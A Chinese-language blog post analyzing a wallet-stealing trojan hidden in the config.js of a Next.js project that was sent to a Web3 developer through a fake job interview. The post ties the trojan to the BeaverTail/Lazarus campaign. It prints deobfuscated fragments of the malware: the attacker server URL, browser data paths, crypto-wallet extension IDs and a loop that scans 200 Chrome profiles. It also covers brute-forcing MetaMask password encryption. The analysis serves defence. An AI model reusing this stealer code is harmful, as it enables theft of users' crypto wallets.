前几日在 Dapp Learning 的交流群里看到群友聊到钱包被盗的经历:
这种未知来源的木马盗币后追回的可能性极低,也许等你发现的时候资金已经转到金三胖的钱包里了。这位群友描述的过程让我有些好奇,为什么运行一个 Next.js 程序会导致本地钱包被盗?我尝试用自己在信息安全上的三脚猫功夫分析一下。
与群友沟通后拿到源码仓库,clone 到 Windows 虚拟机,准备好进程行为记录工具(Process Monitor)和网络流量监测(我直接用了旁路由上的 Surge),按 README 里执行 npm install 和 npm run dev 启动服务,流量的历史记录里这几个到 95.164.17.24:1224 的连接比较显眼包:
再观察 node 的进程行为,我的家已经被它抄好几轮了:
可以确定这个项目的木马行为跟网页前端没关系,而是 node 服务启动后就有了。项目在浏览器里看起来还真像那么回事:
既然行为上已经定性,那再来细细观察下动作。
每个 Chrome 扩展都有自己的唯一标识符,node 进程扫描的扩展目录都是些知名钱包,比如 nkbihfbeogaeaoehlefnkodbefgpgknn
是 MetaMask,acmacodkjbdgmoleebolmdjonilkdbch
是 Rabby,bfnaelmomeimhlpmgjnjophhpkkoljpa
是 Phantom,意图非常明显。
在 Chrome 里创建新用户会有对应一个该用户的数据目录,这个木马一直扫描到 User Data\Profile 199\ 说明它会把前 200 个 Chrome 用户都扒一遍,还挺周到。以及 Edge、Brave、Firefox、Opera 浏览器也会搜刮一通,放心哈,雨露均沾。
另外还专门去扫了眼 .config\solana\id.json
,这是 solana-keygen 工具生成私钥的默认存放文件。
那 95.164.17.24:1224
这个目标服务很显然会接收扫到的钱包数据,至于还会不会干其他的,我没做细致抓包看不到具体请求内容,先不分析了。把 IP 放到搜索引擎里一搜,原来最近几个月已经有若干个人报告过与这个服务有关的恶意行为:
《New Version of BeaverTail macOS Malware Identified》 这篇文章信息量很足,研究员捕获到一个伪装成视频通话程序 MiroTalk 的木马,并认为它来自朝鲜黑客。因为与咱们这次使用了同一个服务端所以能实锤是同一波人干的,该木马的行为也和这次的代码非常相似,文章里还提到木马执行后会下载另一个工具来做键盘记录。
《DO NOT OPEN RANDOM PIECES OF CODE》 这篇在 Linkedin 上的帖子提到,有人假装 Web3 行业招聘,面试时发代码过来让运行,被察觉出代码很奇怪,没有得逞。我猜测受害群友可能也中了这个套路,一问,果然是。
《Beware of scammers!》 reddit 帖子里提到了与上面 Linkedin 帖子同样的内容,评论区里一位老哥提供了非常完整的分析:
部分 IP 地址的地理位置会变来变去,不同服务商的准确率不一样,通常我会以 ipip.net 的结果为准:
可以看到 95.164.17.24 是一台位于荷兰的服务器,提供商 Stark Industries Solutions。
查到这里时碰到了一个我完全没预料到的信息,《Stark Industries: Fuelling Russia’s Cyber Offensive》 文章认为,Stark Industries 在 2022 年 2 月俄罗斯入侵乌克兰前两周刚刚出现。该托管服务提供商成立于英国,但其根基和基础设施遍布欧洲,很快成为分布式拒绝服务(DDoS)攻击和虚假信息活动的中心。刻意保护服务使用方,服务多个亲俄黑客组织。
好家伙,老毛子黑客专用了。可以合理推测朝鲜国家队与俄罗斯可能存在某种合作。
9 月份也有两篇与这个攻击相关的文章:
《Tracking Beavertail APT threats in the npm ecosystem》发现有人发布了包含攻击代码的 npm 包并取上非常容易被混淆使用的名称比如 etherscan-api,如果开发者不小心加载了这些 npm 包会导致自己本来没有问题的代码化身成木马(行话叫供应链攻击)。Web3 行业的许多项目虽然可以在执行逻辑+资金管理上做到完全上链去中心化,但往往给用户使用的 Web 前端页面是中心化的,所以针对前端的供应链攻击是非常严重的威胁来源:前端工程师不小心多敲了一个字母,或者某个工程师的权限被盗,导致前端源码里引入恶意代码,上线后大冤种用户们的资金就没了。(历史回顾:《Ledger Connect Kit 被黑之谜》)
《Lazarus aka Hidden Cobra APT Group – Active IOCs》 安全公司 rewterz 在威胁情报里将最近专门针对 Web3 行业招聘进行钓鱼的行为取名 Dream Job
发现工程代码有恶意行为后,我尝试用 nkbihfbeogaeaoehlefnkodbefgpgknn
这样特征明显的关键词去搜索所有源码,想找一下它代码怎么实现的,很显然,职业的黑客老哥不会留那么明显的痕迹给别人,倒不是针对我,而是尽量避免各家安全厂商的自动化工具去识别和防御。关键字不行那就手动来看看,打开 config.js,眼前一黑:
你丫的喜欢做混淆是吧,但哪有正经工程师会在 config.js 里加混淆呢?此地无银三百两了。再往下拉一拉看到一堆奇怪的字符串:
里面有'/Chro'
'Brave'
,过于可疑,果然nkbihfbeogaeaoehlefnkodbefgpgknn
搜不到,但nkbih
能搜到,可以确定就是这里,混淆过程把一些字符串打散了而已。找个 JS 反混淆工具跑一下,看看它到底在干啥,我贴几段关键代码,和之前观察到的动作对应得上:
const _0x55065c = "http://95.164.17.24:1224";
const _0x1232d9 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x151d96 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x1c1cc8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x275436 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "aholpfdialjgjfhomihkjbmgjidlcdno"];
循环遍历前 200 个 Chrome 用户:
for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
const _0x50fbe9 = _0x420236 + "/" + (_0x4293f0 === 0 ? "Default" : "Profile " + _0x4293f0) + "/Local Extension Settings";
for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
let _0x4a10a4 = _0x50fbe9 + "/" + _0x275436[_0x38faa0];
里面还有一段代码是检查 Python 运行环境,下载个什么东西回来执行,我测试时没有触发到,但与前面文章里研究员分析的行为一致。
到这里我们已经知道受害者的钱包数据是怎么被偷走的,还剩一个问题没解答:MetaMask 扩展的数据虽然保存在本地可以被偷走,但解开里面的助记词或私钥需要用户自己配置的密码,MetaMask 的工程师不可能傻傻地让你能直接从文件里提取出来。这个流程就回归到古典黑客攻击手段上了,通常有 2 个路径:
说这个图不精准,是因为不知道这张图描述的加密标准是什么。暴力破解密码的难度既取决于攻击者的算力,也要看加密时使用的密钥推导算法。MetaMask 基于用户密码给私钥加密存储时使用了能缓解暴力攻击的 PBKDF2 算法和随机盐,并且 PBKDF2 迭代轮数是业界推荐的安全标准 60 万次(源码关键词 600_000
),安全已经做得足够。但 PBKDF2 无法抵御 GPU 或 ASIC 硬件的暴力破解,所以只要发现你的钱包价值够高,攻击方会很愿意砸算力跟你拼一下。
我不清楚 MetaMask 为什么没有选更安全的 Bcrypt 或 Argon2 算法,猜测是需要平衡用户体验与安全性,这些算法太耗内存可能不适用浏览器场景。但有个结论是无论如何都不会错的:如果你的 MetaMask 使用了短长度的纯数字+小写字母密码,那么攻击者的破解成本过于低,等同于没有密码。这种情况,靠程序更换任何高级的算法都无法解决。
回到开头,群友在「大约一个小时后」发现钱包里的资金被转移走,很像是使用了简单密码导致破解起来飞快。询问后得到肯定答复。无法证实在攻击者那边是这样,只能认为大概率是。
是一次中规中矩的恶意软件盗币事件,没什么新鲜的,跟以前假装谈合作发个游戏 exe 过来类似。这个陷阱专门针对行业里的开发者,上次慢雾也分析过另一种更高级的针对开发者的钓鱼《黑暗森林之狡诈的网络钓鱼》。
安全防御措施,仍然是老生常谈的几个点:
.metamask
后缀,Rabby 钱包就是常用密码+ .rabby
。别漏了这个小数点,可以用两个点,也可以换成任意你喜欢的特殊符号。